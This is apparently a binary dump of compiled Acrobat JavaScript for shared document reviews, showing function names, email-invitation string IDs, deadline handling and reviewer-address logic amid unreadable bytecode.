deadlineIsSet	undefinedapp	beginPrivCollabgetDefaultDateAndTimeendPrivdeadlineDateexternalDateinternalDeadlineDateinternalDateparseIntsubstrobjectDeadlineDatesetUTCFullYearsetUTCHoursinternalDeadlinedeadline'IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINEactionAddReviewersChangeDeadlinemesgsubjpLnkannyupdateAddrsertcUseDocumentCentersAclpAclaccessLevel
Restricted(IDS_SHARED_REVIEW_DOC_CENTER_OPEN_ACCESS)IDS_SHARED_REVIEW_DOC_CENTER_LIMIT_ACCESS
cannedSubj	cannedMsgdocPathmatchdocdocumentFileNameplatformWIN	substringlastIndexOf\MAC:indexOf%
decodedURLstring/msg
msgChangedreplace ()
cDocumentNamegetCustomEmailMessagegetDefaultEmailMessagereplaceParamsByValuesiconattmaDocsSubsMsgaddrgetShareFileSubjectswConngetFullNameUPLOAD"IDS_SHARE_FILE_PREVIEW_EMAIL_ADDON/IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL_ADDONfocusaddressBookAvailablesendAttachmentconvertDIPathToPlatformPath
cDocumentPathA_Attachments_Sm_N.pngraddridentityemailnextIDS_SENDloadenablevisible[^\/]*$	%docname%	%docname%	%docname%	%docname%	%docname%
%username%�����e�X$msg�G	�K	rNA55=A�
�:A9��=;=A55�:QA55	x=
y=y�=y�z�9
�
�=A55;�:WQA5549
�
�=A55;�:WQKV�
��;5�:WQV�
��;5�:WQV=9
�
�=A55;�:�����Ґ������`���m
��N�m
���mʘ�N}����/���	���	㐈	㐐�����������琈data
reviewType	ShareFilegetShareFileMessage
DebugAlertWT1WT * actiondistributionMethodUPLOADMANUALEMAILSharedString+IDS_SHARED_REVIEW_PREVIEW_INVITE_LINK_EMAILUBUseDocumentCenter)IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAILreplaceAnnotsString"IDS_SHARED_REVIEW_READER_VERSION_8#IDS_SHARED_REVIEW_ACROBAT_VERSION_8/IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL%reader_version%%acrobat_version%������	msg�K	@L	�N;5WQV�ΐ��AnnotsStringIDS_SHARE_FILE_PREVIEW_EMAIL������	subjcL	�L	�N;5WQV�ΐ��AnnotsStringIDS_SHARE_FILE_SUBJECT_EMAIL�������U1msginfo�L	NR	�NVQ;;5<;5WQV�
��A55�:WQ�A55;5Z;5WQV�
��A55�:WQV�
��;�:WQy;5	WQV�
��A55�:WQV�
��A55�:WQV�
��;�:WQVQA55
=;5WQ\A55
=
F;5WQV�
��9��A55�:�:WQV=V���7����ΐ�鐐��U���ΐ�䐈㐐���ΐ�䐈䐈ސ������Ӑ���ΐ�󐐐�ΈdeadlineDateAnnotsString'IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE;IDS_SHARED_REVIEW_PREVIEW_REMOVE_DEADLINE_ATTACHED_EMAIL_SRreplacedata
cDocumentNamedeadline8IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_ATTACHED_EMAIL_SR;IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_EMAIL_SRdistributionMethodEMAIL;IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_CLICK_SRUPLOAD<IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_UPLOAD_SRANSMBURLToPlatformPathdistributionURL

	%docname%	%docname%
%newdeadline%	%docname%
%olddeadline%
%newdeadline%%review_url%�����7�
subjpR	 S	�N;5WQV�
��A55�:WQV�ΐ�䐈�AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_SUBJ_SRreplacedata
cDocumentName	%docname%�������z*strtempURLLS	wX	�NA55x=y=y�=y�z�A55=DEQA55=D.QA55=DQA55=	VQA55
5=(9
�
�A55�:WQRA55
5=A55WQ#9��A55�:WQ"mT�
��V�:UQ�T�
�=�:�����*mT�
��A55�:UQ�T�
�=�:�����WR*mT�
��A55�:UQ�T�
�=�:�����T��`����m
��N�m
��N�mʘ�N͐�������#������Ԑ��ސ(;��ݘ�Nو
ސ�(C��嘀Nۈ
ސ��P���P����(C��嘀N�ސ�P����datadistributionMethodUPLOADMANUALEMAIL
reviewTypeSharedReviewSharedReviewEmailFormDistributionFormDistributionEmailserverURL1urn://ns.adobe.com/Collaboration/SharedReview/SMBANSMBURLToPlatformPathdistributionURL8urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint	encodeURIreplaceindexOf%review_url%
cDocumentName	%docname%%review_url%	%docname%	%docname%�C^C;�����M�idoi�X	+Y	�NA5�
�:T7WQVKmMWQVV7>V�N��L����N=�ِ�5"ː����|ː���
dialogstore#"�������#addrs	resultVecaddrVecjiaddr�Y	[	�NZ\WQT;	VT�
��:WQ>WQVKHmMWQVV7�
��=�:WQVVV#?WQV8Q�L����NV�ɐ����ؐ��5Kː�␐��ܐ����	undefinedsplitreplace$1
\;|\n|\r\n|\r^\s*(\S(?:.*\S)?)\s*$BK������addrs[	k[	
OT�
�=�:��Ոjoin;�����,�8dialogdataIntempoptRp�[	�^	O	T�VQA55=EQA55=&A�
�A55�:WQ=WQYA�
�A55�:]V]\WQT�
�V�:Q�T�	
�:WQA5A�

�V5�:6QA55=EQA55=&A5A�

�V5�:6Q����������!��ᐐ�ɐ���ݐ͐��ؐ����Ґ������)data
reviewTypeFormDistributionFormDistributionEmail	joinAddrsoptRreqRloadstore
splitAddrs�������&	firstList
secondListnewListaddrsiaddrlen�^	�`	2O=WQ=T=UQT�
��:WQVKLmMWQVV7WQT�
�=V=�:@VV=WQ�L����NV�WQV�
�?�V��:��O7ɐ��Ӑ�ؐ5Oː�ː���ڐ�̐�؈";splitmatchlengthsubstr;>O������� addrListnewListaddrsiaddrlen�`	�b	FO=WQT�
��:WQVKLmMWQVV7WQV�
�=V=�:@VV=WQ�L����NV�WQV�
�?�V��:��OLɐؐ5Oː�ː���ڐ�̐�؈";splitmatchlengthsubstr;+O�������lists	c	�d	XOTA�
�T5�:6QTA�
�T5�:6QTA�
�T5�:6QTA�
�T5�T5�:6QTA�
�T5�T5�:6Q��ސ�ސ�ސ��琈�YtoList#removeDuplicateEmailAddressesInListccListbccList(removeDuplicateEmailAddressesAcrossLists�����w�	firstList
secondList
firstArraysecondArrayfirstSortedListsecondSortedList�d	f	bO	A�
�T�:WQA�
�T�:WQV�
�:�
�=�:WQV�
�:�
�=�:WQVV�ԐԐ��㐐�Ȉ-
splitAddrssortjoin;�����p�#	addrArray
invalidIDsiaddr@f	}g	mO=WQTKTmMWQTV7WQ9��V�: +V=V=WQVVWQ�L����NV�ɐ5Wː�ː�������
͐�	Ԑ����CBIsValidEmail, W�����\�-�RdialogpropsdistMethodIsShareresolvedEmailListemailCategories
finalLists
invalidIDsReq
invalidIDsOptresult�g	�r	}OYB]A55�
�=�:]A55�
�=�:]A55]	A55
]C]\WQA55
=>T�
�YB]\�:QVC6QV;56QA55WQA55=D	QVVC6Q;�
�:Q�;�
�V�:WQ-�vWQ9��=�:Q�;�
�:QV�
��:WQYV>7�
���:] V?7�
���:]!V�7�
���:]"\WQA�#
�V�:Q=$WQ=$WQA5A�%
�V5 �:6QA5A�%
�V5!�:6QA�&
�T�C�:QA�'
�A55�:WQA�'
�A55�:WQV=$DQV=$�V=$EQV=$V=(WQV=$VVWQ;�
�:Q;�)
�;5*�+
��V�:�?�?�:WQ;�
�:QV?9��=,�:Q��������ААː������ܐ�ʐ�Ӑ��ϐ����ʐ��ѐ���x��ʐ��Հ{���ѐ�ؐ���ؐؐސ���ј�O�ɐɐ�ᐈᐈӐ�ܐ�ܐ������
͐���
ː��	ѐ���	ѐ�
��Ո?bUIdatareqRjoin;cTooptRcCcsubjcSubjectmsgcMsgbNoError
reviewTypeFormDistributionenablenext
bShowProgresscProgressMessageAnnotsStringIDS_GEN_STATUS_RESOLVINGUseDocumentCenterdistributionMethodMANUALapp	beginPrivgetResolvedAddresses
DebugThrowThrow: SendmailendPrivsplitsubstrtoListccListbccListremoveDuplicateEmailAddresses
splitAddrsupdateAddrsallEmailAddrsValid, alert%IDS_SHARED_REVIEW_UNRESOLVED_MAIL_IDSreplace0The email addresses are not valid. So try again.����e&	%mailids%�������$~\dialogpropstoEnabletoLoadstyearmonthdayhoursminutesseconds�r	�|	�OT�
�:WQY\WQY\WQA55=�A5559��=;�:ERQA555;	5
E1QA5559��=;�:VB6QVB6
QA55=V;	56QA�
�V5�:WQA�
�V5�:WQA55=EQA55=VB6Q�A55=EQA55=-VV�>DQV�>6Q=A55=VC6QVV�>6QA55;yA55=VC6Q;=I9��;�
�����:��
�:WQ9��;�
�����:��
�:WQ9��;�
�����:��
�:WQ9��;�
��
���:��
�:WQ9��;�
�����:��
�:W	Q9��;�
�����:��
�:W
Q;� 
�V�V?�V�:Q;�!
�V�V	�V
�:QT�"
�V�:QT�#
�V�:Q��O�Ґʐʐ�������ʐ�ʐ����Ӑ�ِِ����ϐ�(��萐����	ϐ�
Ӑ���������O��ʐ���������쐈	ߐ�	ݘ�P�Ӑ�ӈstoredata
reviewTypeFormDistributionserverUISharedString*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAILWTAnnotsString'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL5IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVERprevdlvLdistributionMethodMANUALnextIDS_SEND
splitAddrsreqRoptRSharedReviewEmailactionChangeDeadlineAddReviewerslengthinternalDeadlineinternalDeadlineDateparseIntsubstrobjectDeadlineDatesetUTCFullYearsetUTCHoursloadenable�����N�8"dialogaddrs
joinedReqR
joinedoptR�|	�	P	A�
�T�B�:QVQ�A55�
�=�:WQA55�
�=�:WQ;�
�:Q;�
�YV]	V]
C]B]\�:WQ;�
�:Q�vWQ�V�A5A�
�V>7�:6QA55=EQA55=#A5A�
�V?7�:6QA�
�T�C�:Q��Ӑ������ѐ�����x��ʐ�{��P$���ސ���ސ�ӈupdateAddrsdatareqRjoin;optRapp	beginPrivmailGetAddrscTocCcbCcbBccendPriv
splitAddrs
reviewTypeFormDistributionFormDistributionEmail����e�������dialog�	K�	-PA5C6QT�
�:Q��͐�ψdatadeliveryMethodLinkClickedprevious������(!dialoga�	�	3PA55=EQA55="A5A�
�:6Q*A5A�
�A�
�:�:6QA55	=
EQA55CdA55=,A5A55;
56Q'A5A55;
56QT�
�YA55]\�:Q����ݐ��吐����'��琐�␐��#data
reviewTypeSharedReviewEmailactionChangeDeadlinemsggetDeadlineMessagereplaceParamsByValuesgetDefaultEmailMessagedistributionMethodUPLOADUseDocumentCenter	ShareFileAnnotsString"IDS_SHARE_FILE_PREVIEW_EMAIL_ADDON/IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL_ADDONloadmesg�������%
�dialogtoLoadtoEnable�	��	DP;�
�:Q;�
�;�:Q;�
�:QY\WQY\WQA55=EQA55	=
B;A55DVB6
QVB6QVB6QV=6QV=6
Q�VC6
QVC6QVC6QA55={;;5�V;56QV;5=;56
QVV5�
��A55�:6QVV5
�
��A55�:6
Q�A55;5�V;56QV;5=;56
QVV5�
��A55�:6QVV5
�
��A55�:6
QVV5
�
��;�:6
Q�V;56QV;5=;56
QVV5�
��A55�:6QVV5
�
��A55�:6
QVV5
�
��A55�:6
QVV5
�
��;�:6
QCA55=-;;5�V;56QV;5=;56
QVV5�
�	�A55�:6QVV5
�
�
�A55�:6
QVV5
�
��9 � �A55!�:�:6
QCA55;5V;56QV;5=;56
QVV5�
��A55�:6QVV5
�
�
�A55�:6
QVV5
�
��;�:6
QVV5
�
��9 � �A55!�:�:6
Q+V;56QV;5=;56
QVV5�
��A55�:6QVV5
�
��A55�:6
QVV5
�
��A55�:6
QVV5
�
��;�:6
QVV5
�
��9 � �A55!�:�:6
QV;6"QT�#
�V�:QT�$
�V�:Q��ѐ�א�ѐ�ʐʐ�������?���ʐ�ʐ�ʐ�ΐ�Ӑ����ʐ�ʐ�ʐ���v��������Ӑ�䐈󐐐������Ӑ�䐈퐐���Ӑ�䐈혀P|�����Օ��Ӑ�䐈����������Ӑ�䐈萈������Ӑ�䐈萈���P��ΐ��Ӑ�ӈapp	beginPrivCollabgetDateAndTimeinternalDeadlineDateendPrivdata
reviewTypeSharedReviewEmailactionChangeDeadlinedeadlineDatedeadlinemesgsubjpLnkdistributionMethodEMAILAnnotsString'IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE1IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_SUBJ_SR;IDS_SHARED_REVIEW_PREVIEW_REMOVE_DEADLINE_ATTACHED_EMAIL_SR

;IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_CLICK_SRreplace
cDocumentName.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_SUBJ_SR8IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_ATTACHED_EMAIL_SR;IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_EMAIL_SRUPLOAD<IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_UPLOAD_SRANSMBURLToPlatformPathdistributionURLdydtenableload	%docname%	%docname%	%docname%	%docname%
%newdeadline%	%docname%	%docname%
%olddeadline%
%newdeadline%	%docname%	%docname%%review_url%	%docname%	%docname%
%newdeadline%%review_url%	%docname%	%docname%
%olddeadline%
%newdeadline%%review_url%������dialog�	A�	�PA�
�T�:Q��шaddr�������+dialoghelpIDW�	A�	�P=WQA55=DQA55==WQ_A55=DQA55==WQ$A55=	=
WQ;�
�:Q;
�
�V�:Q;�
�:Q�ɐ����ΐ���ΐ���ɐ��ѐ�Ր�шdata
reviewTypeSharedReviewSharedReviewEmailReview_StartFormDistributionFormDistributionEmailForms_Distribute	ShareFile	RTC_Shareapp	beginPrivCollablaunchHelpViewerendPriv�����'�@x�dialognextoaddon1addon2bakupMessagetempURLcurrMessageret_valY�	$�	�PA552A5�����A�
�=�:76QA5>6QA�
�T�B�:QTA55=EQA55=	 A�

�T�:QT�
�:WQA5V5
6Q;5WQ;5WQ;5=�9��V�:WQV�
��=�:WQ9��V�:WQ9��V�:WQV�
��=�:WQ9��V�:WQA55WQV�
�V�=�:WQV�
�V�=�:WQA55=EQA55="A55=�A55x=y=yg=	y}z}*mV�
�A55�=�:WQ�V� 
�A55�:�����*VQA55!5"=#(9$�$�A55%�:WQRA55!5"=&A55%WQ#9'�'�A55%�:WQ"mV�
�V�=(�:WQ�V� 
�V�:�����*mV�
�A55�=�:WQ�V� 
�A55�:�����
;�)
�:Q;*�+
�V�A55�A55�A55�:Q;�,
�:QA5V5-6-QA55=.O;�)
�:Q;*�/
�=0�A55!5"�:Q;�,
�:QA55=?A51�
�:52A5C63QA5B63QA55=.DQA55=dA554;5NA5;766QA5;564QA554=A5;968Q�T�
�:5
WQ;5=�A59��A55�:6Q9:�:�=;A55�:QA5A55�
��=�:6Q9:�:�=;A55�:QA59��A55�:6Q9:�:�=;A55�:QA55=EQA55=�A55Vl;�)
�:Q;�<
�;5=�����:WQ;�,
�:QV�9>�>�=?�:Q��-���퐐��͐���Ӑ�����������ј�P�Ґ��Ԑ�ΐΐ������֐�ސ�֐��֐�ސ�֘�P�ϐ�ܐ�ܐ���������`����m
��P�m
��Qmʘ�P�(I��
嘀P�䐐P���������#��
����
Ԑ��
ސ�(9��
ݘ�Q�ܘ�Q(I��
嘀Q�䐐P����P��Q�ѐ����֐������Ԑ�����	ѐ�	萈	ѐ��������Ґ��͐���������ѐ�ѐ���֘�Q6�א������搈ᐈᐈ搈ᐐ�������ѐ合ѐ��Ո)dataUseDocumentCenteraccessLevelgetSelectedItemTextpAclupdateAddrs
reviewTypeFormDistributiondistributionMethodMANUALresolveAddrsstoremsgmesgAnnotsString/IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL_ADDON"IDS_SHARE_FILE_PREVIEW_EMAIL_ADDONappplatformMACescapereplace%0DunescapeSharedReviewEmailFormDistributionEmail	ShareFileEMAILUPLOAD
cDocumentName	%docname%indexOfserverURL1urn://ns.adobe.com/Collaboration/SharedReview/SMBANSMBURLToPlatformPathdistributionURL8urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint	encodeURI%review_url%	beginPrivCollabsetCustomEmailMessageendPrivsubjSharedReviewsetCustomServerLinkLatestdialogannyallowAnonymousinternalDeadlineinternalDeadlineDatedeadlinedeadlineDate	oDeadlineobjectDeadlineDate
DebugAlert
this.data.msgalert"IDS_INVITE_CUSTOM_MSG_WILL_BE_LOST
DebugThrowDon't lose custom message%0D%0A%0D%0A%0D%0AmI/9MI������0�2@
reviewType	checkSizedescription��	��	�R
Y�����]�����=]T]�]�]�]�]�]�]	�]
�]ZY=]
=]=]ZY=]
=]=]\`Y=]
;5]=]\`\]\`\]\WQ�����=�VZY=]=]
;5]C];5 ]!\`Y=]
=]=]ZY=]
=]="]\`Y=]
;5#]=]\`\]\`Y=]=]
;5$]C];5 ]!\`\�%
�V5�:6Q;&5'�(
�=)�:@TVZY=*]
=+];5,]\`\�%
�V5�:6Q;&�-
�:Q9.�.�V�:WQ;&�/
�:QV���ΐԐȐʘ�R�ʘ�R�ʘ�Sʘ�S;ʘ�S[ʘ�Sgʘ�Spʘ�T��ʐʐʐ���ʐʐϐ��ʐϐ嘀T���������ʐʐϐ�Ԑ��ʐʐʐ���ʐʐϐ��ʐϐژ�T5�ʐʐϐ�ݐ��Ґ��������ʐʐݐ�Ҙ�TL�ѐ�֐�ѐ���
reviewTypeAPP
isApproval	checkSize
initialize
updateDocs
updateServersaddsbrwsfindSelectedIndexidlecommitviewtype
align_fill	alignment	align_rowalign_childrenpopupfilsitem_idbuttonAnnotsString
IDS_BROWSEnameelementsdescriptionSharedReviewstatic_text)IDS_SHARED_REVIEW_SERVER_SELECT_STEP_TEXT	wrap_nameCollabwizardWidthwidthsrvr*IDS_SHARED_REVIEW_SERVER_SELECT_ADD_BUTTON-IDS_SHARED_REVIEW_SERVER_SELECT_DOCUMENT_TEXTconcatapp
viewerTypematchExchange-Pro	check_boxenbl'IDS_SHARED_REVIEW_OPTIONS_READER_ENABLE	beginPrivANTrustPropagateAllendPriv�������2dialogtoLoadt�	5�	�RA55 A5=6QA�
�T�:QT�
�=�:QY\WQA5=cA5;	5
�
�=�:@6QA�
�T�:QA55VA556QT�
�V�:Q�����ѐ�ѐ�Րʐ������㐈ѐ����Ԑ��ӈdatadocPath
updateDocsfocusbrws
reviewTypeSharedReviewcanReaderEnableapp
viewerTypematchExchange-Pro
updateServersenblreaderEnableload�����e�Mdocsfils	didSelectidocselectQ�	j�	�R;�
�:Q;5WQ;�
�:QY\WQBWQVK�mMWQVV7WQV5 EQV5 �V5A55WQA5	=
EQA5	=DQV5 *VV5
??VV?�8QV
CWQ�L���SNV EQA552VA55�
��:>7V�?8QA5�
�YV]\�:Q��ѐΐ�ѐ�ʐ��5��ː�ː��ψ���ؐ��B���
�А��Θ�R����퐐��app	beginPriv
activeDocsendPrivexternalisInProtectedViewpathdatadocPath
reviewTypeEBRAPPisInCollectiondocumentFileNamematchlengthdialogloadfils[^\/]*$I������
�Iserverssrvr	didSelectidxbServerDefaultiserver	currIndex��	��	�R;�
�:Q;5WQ;�
�:QY\WQBWQ?WQBWQVKUmMWQVV7WQV#?WQWQV5 V"WQ
CWQVV5V8Q�L����NV EQV�>(V>7WQVV5VV57"8QA5�	
�YV]
\�:Q��ѐΐ�ѐ�ʐ����5Xː�ːϐ��
���͐�
���ِ������ɐ�ˈϐ����app	beginPrivCollab
reviewServersendPrivDefaultUIlengthdialogloadsrvrSX�������F2dialogwizserverconfigname��	 �	S
9��Y;5];5]ZY�];5];5	]C]
\`Y�];5];5]C]
\`\]
\�:WQ9��V�>���A5�:QA55=�A555WQA555WQA555WQ;�
�:Q;�
�V5�V�V�:Q;�
�V5�V�A55�:Q;�
�:QA�
�:Q�Аϐϐ���ʐϐϐː��ʐϐϐژ�S+�ߐ���ԐԐԐ��ѐ�␈ꐈѐ��͈CBTrustPropagateWizAnnotsString'IDS_SHARED_REVIEW_ADD_SERVER_WIZ_FINISHfinishString"IDS_SHARED_REVIEW_ADD_SERVER_TITLEtitlecreator1IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_STEP_HEADINGheading/IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_STEP_TITLEnoSteps/IDS_SHARED_REVIEW_CONFIGURE_SERVER_STEP_HEADING-IDS_SHARED_REVIEW_CONFIGURE_SERVER_STEP_TITLEstepsCBRunSimpleWizdataresultfnshtoAddserverconfignameapp	beginPrivCollabaddReviewServer	driverURLsetDefaultReviewServer
reviewTypeendPriv
updateServers������data�	R�	S9��T�:ˆ!ӈ7)CBSharedReviewSelectServerTypeDescription������dataJ�	��	#S9��T�:ˆ!ӈ:,CBSharedReviewConfigureServerStepDescription�����2�M)dialogpfileChoosen6�	F�	;S;�
�:Q;�
�:WQ;�
�:QV�V5=J;�
�:Q;�
�;5�:Q;�
�:Q�V5	WQV�

��: E;�
�:Q;�
�;5�:Q;�
�:QA5V5	6
QA5V56QA�
�:Q��ѐԐ�ѐ����E���ѐ�ܐ�ѐ�����̐�����
ѐ�
ܐ�
ѐ����	Ԑ�Ԑ�	͈app	beginPrivbrowseForDocendPrivcFSCSPalertAnnotsString/IDS_WORKFLOW_ERROR_DUETO_BROWSE_SHAREPOINT_FILEcPathmatch#IDS_NON_PDF_FILE_CHOOSEN_FOR_REVIEWdatadocPathdocFS
updateDocs\.pdf$�����P�idoii�	��	[SA5�
�:T7WQVK%mMWQVV7>VV7?�N��L����N��ِ�5(ː�����xː���
dialogstore#(�����o�	dialogbResult�	��	gSA�
�=�:>WQ�����=&VEQA�
�=�:>WQA5�
�YV]\�:Q�ؐ���ᐐ��$findSelectedIndexfilsSharedReviewsrvrdialogenablenext�����*�O[dialognextdocsimaxPDFCommentsSizeresultmsgboxtitlepropsserverssrvr�	��	pS;�
�:Q;5WQ;�
�:QA�
�=�:WQV>EQVV�A5VV75	6QT�A55
�=DEQA55
 D3QA55
E"QA55
5	A55�A55
EQA55
5+A55
�
�C�:QA5@6
Q;�
�:QA5;�
�YA55]A55]C]C]\�:6
Q;�
�:QA5C6QA55
;�
�:Q;5WQ;�
�:QA5E"QA55
5XXV�;�
�:Q;�
�;5�
��V�:�����:WQ;�
�:QV�9��=�:Q;�
�A55
�C�:E0QA55
5�
�A55
�B�: r;�
�:Q;�
�A5 ;5!;5"�:Q;�
�:Q9��=#�:Q;�$
�A55
�B�:D4QA5%=&E"Q;�'
�A55
�:r;�
�:Q;�
�A5 ;5(;5)�:Q;�
�:Q9��=*�:QA5  E)QA55
@EQA55
5+�;�
�:Q;5,=-;5.;5/WQ;�
�YV]0;51]2�]3\�:Q;�
�:Q9��=4�:QA55
�5
�;657�;658�:;659D=QA55
�5
�;657�;65:�:;659r;�
�:Q;�
�A5 ;5;;5<�:Q;�
�:Q9��==�:QA55
�5
�;65>�;65?�:;659X;�
�:Q;�
�;5@�:Q;�
�:Q9��=A�:QA55
5BX;�
�:Q;�
�;5C�:Q;�
�:Q9��=A�:QA5%=D+T�E
�:WQA5V5G6FQQA55
EQA55
5+A55
�
�C�:QA5@6
Q;�
�:Q;5HWQ;�
�:QA�
�=I�:WQV>EQVV�~VV7WQA5V6JQV5K V;�
�:Q;�L
�V5M�V5N�A55%�:Q;�
�:Q��ѐΐ�ѐ�֐����ؐ�������؈'��������ِ�͐���ѐ��А�ѐ��͐������ѐΐ�ѐ������ѐ���ѐ���՘�S��6����ѐ��㐈ѐ�՘�S������ѐ��㐈ѐ�՘�S������ѐ�␈���ѐ�՘�S�������ѐ��㐈ѐ�՘�S����ѐ�ܐ�ѐ�՘�S�����ѐ�ܐ�ѐ�՘�S����Ґ�٘�S�����ِ�͐���ѐΐ�ѐ�֐����ː��ϐ�����ѐ�шapp	beginPriv
activeDocsendPrivfindSelectedIndexfilslengthdatadocPathpathdoc	undefinedhiddencloseDocopenDocdocFScFScPathbHiddenbUseConv
msgChangedCollabmaxPDFCommentsSize	checkSizefilesizealertAnnotsString IDS_SEND_FOR_REVIEW_DOC_IS_LARGEreplace
DebugThrowBig doc
isEmailReview
isApproval IDS_CANT_APPROVE_LAX_EMAIL_MATCHIDS_CANT_REVIEW_LAX_EMAIL_MATCHLax review matchisOnlineReview
reviewTypeBBRisOfflineReviewIDS_CANT_APPROVE_ALREADY_BBRIDS_CANT_REVIEW_ALREADY_BBROn-line review matchdynamicXFAForm
viewerTypeReaderIDS_PRODUCT_NAME_READERIDS_PRODUCT_NAME_ACROBATcTitleIDS_DYNAMIC_DOC_COMMENTS_MSG1cMsgnIconDynamic documentrequestPermission
permissionannot	canExportgrantedcreateIDS_CANT_APPROVE_WITH_NO_PERMSIDS_CANT_REVIEW_WITH_NO_PERMSNo permsdocumentfullSaveIDS_CANT_WORKFLOW_WITH_NO_SAVECannot full saveisInCollectionIDS_PDF_PACKAGE_SEND_FOR_REVIEWSharedReviewstorereaderEnableenbl
reviewServerssrvrserverDefaultsetDefaultReviewServerURLUI%mb%�������+�9getDateControlOrderdescription�	$!
ST
�WQY�]�]�]�]�]�]�]ZY=]=	]
ZY=];5
]=]\`Y=];5]=]C]\`Y=]C]YZ�`YZ\]\`\]\]=]=	]
\`Y=];5]=]C]\`Y=]C]YZ�`YZ\]\`\]\]=]=	]
\`Y=]=	]
=]ZY=]= ];5!]\`Y=]��:>7]��:>7="�(�]#\`Y=];5$]\`Y=]��:?7]��:?7="�(�]#\`Y=];5$]\`Y=]��:�7]��:�7="�(�]#\`\]%\`\]%\`\]&\WQ;'�(
�:Q9)�)�V�:WQ;'�*
�:QV�ɘ�TT���Te����ʘ�T�ʘ�T�ʘ�T�ʘ�T�ʘ�T�ʘ�T�ʘ�UI��ʐʐ���ʐϐϐ��ʐϐʐː��ʐ��ʐϐ��ʐϐʐː��ʐ��ʐϐ��ʐʐʐ���ʐʐԐ��ʐϐ�ؐ��ʐԐ��ʐϐ�ؐ��ʐԐ��ʐА����U��ѐ�֐�ѐ��
initialize
splitAddrs	joinAddrsupdateAddrsidleaddrcommitviewtype
align_fill	alignmentbuttonAnnotsStringIDS_INVITE_ADDRESS_BOOKnameitem_idstatic_textIDS_INVITE_REQUIREDdialogfontbold	edit_text	multilineedit_text_heightprodheightreqRIDS_INVITE_OPTIONALoptR	align_rowalign_children	check_boxdead"IDS_SHARED_REVIEW_OPTIONS_DEADLINEyearwidthIDS_DATE_SEPelementsdescriptionapp	beginPrivANTrustPropagateAllendPriv����getDateControlOrder����	�
UT;�
�=�=�:�
��=�:�
��=�:�
��=�:�
��=�:�	
�=�:�

��:���אאאאѐʘ�Td�app	getStringFormsIDS_DEFAULT_DATE_FORMATreplacemdysplitmap�����*�v'
�
]TY=]=]=]\T7���ʐʐː�yearydmoymddomdm+d+y+[^ymd]������q=dialogtoLoad)
�
iTA55 A5Z\6Q)A5A�
�A55�:6QA55 A5Z\6Q)A5A�
�A55�:6QA�
�T�C�:Q;�
�:QA55 A5;5	6Q;�

�:QY\WQT�
�=�:QT�
�Y;5]\�:QA55=V;56QA55�VA556QV=A55�
�:?6QV=A55�
�:6QV=A55�
�:6QT�
�V�:Q������֐����䐐������֐����䐐��Ӑ��ѐ����֐�ѐ�ʐ��Ր�吐���Ӑ�����Ԑ�琈合吐��ӈdatareqR
splitAddrsoptRupdateAddrsapp	beginPrivraddridentityemailendPrivfocusaddrenableaddressBookAvailabledistributionMethodMANUALnextAnnotsString
IDS_FINISHhasDeadlinedeaddmoy	oDeadlinegetMonthddomgetDateyeargetFullYearload�������addrsaddrVec	resultVecjiaddr
D
�TT�
��:WQZ\WQ>WQVKHmMWQVV7�
��=�:WQVVV#?WQV8Q�L����NV�ؐɐ��5Kː�␐��ܐ����splitreplace$1
\;|\n|\r\n|\r^\s*(\S(?:.*\S)?)\s*$0K������addrs_
�
�TT�
�=�:��Ոjoin
�������#dialogdataInp�
�	
�TTaYA�
�A55�:]A�
�A55�:]\WQT�
�V�:QYT�
�:WQA5A�
�V5�:6QA5A�
�V5�:6Q��\�����ݐ␐�ؐ����Ґ�ᐈ�)	joinAddrsdatareqRoptRloadstore
splitAddrs�������JdialogpropstoEnablesdommoyyearnowisValid�	

�TT�
�:WQY\WQA�
�V5�:WQA55=VC6QVV�>6QVV5	6QVV5	6
QVV5	6QV5	�9��V5��
�:WQ9��V5
��
�:WQ9��V5��
�:WQ;
�RWQ?VEQV�WQV?VEQV�WQV(VV�
�:E
QVX�WQVV5E	QV6QT�
�V�:Q�Ґʐ�ِ�����ϐ�	Ӑ��ѐ�ѐ�ѐ����ސސސΐ�Ր�Ր�㐈ڐ���ӈstore
splitAddrsreqRdatadistributionMethodMANUALnextlengthddomdeaddmoyyearparseIntDategetFullYearenable�����!�6dialogaddrs
joinedReqR
joinedOptR
�
�T	A�
�T�B�:QVQ�A55�
�=�:WQA55�
�=�:WQ;�
�:Q;�
�YV]	V]
C]B]\�:WQ;�
�:Q�vWQ�VTA5A�
�V>7�:6QA5A�
�V?7�:6QA�
�T�C�:Q��Ӑ�������ѐ�����x��ʐ�{��T����ސ�ސ�ӈupdateAddrsdatareqRjoin;optRapp	beginPrivmailGetAddrscTocCcbCcbBccendPriv
splitAddrs����e������X�1�}dialognextpropsdommoyyeardriver	sourceURLoURLs�
Z
�TTTT�
�:WQA�
�T�B�:QT�
�:WQA5V56QV5�9��V5��
�:WQ9��V5��
�:WQ9��V5��
�:WQA5;
�R6	QA55	�
�V�:QA55	�
�V?�:QA55	�
�V�:QA5;�
�X��A55	�:6QA5;6	QA55A5557WQ;�
�:QV�
�=�A555�:WQ;�
�:Q;�
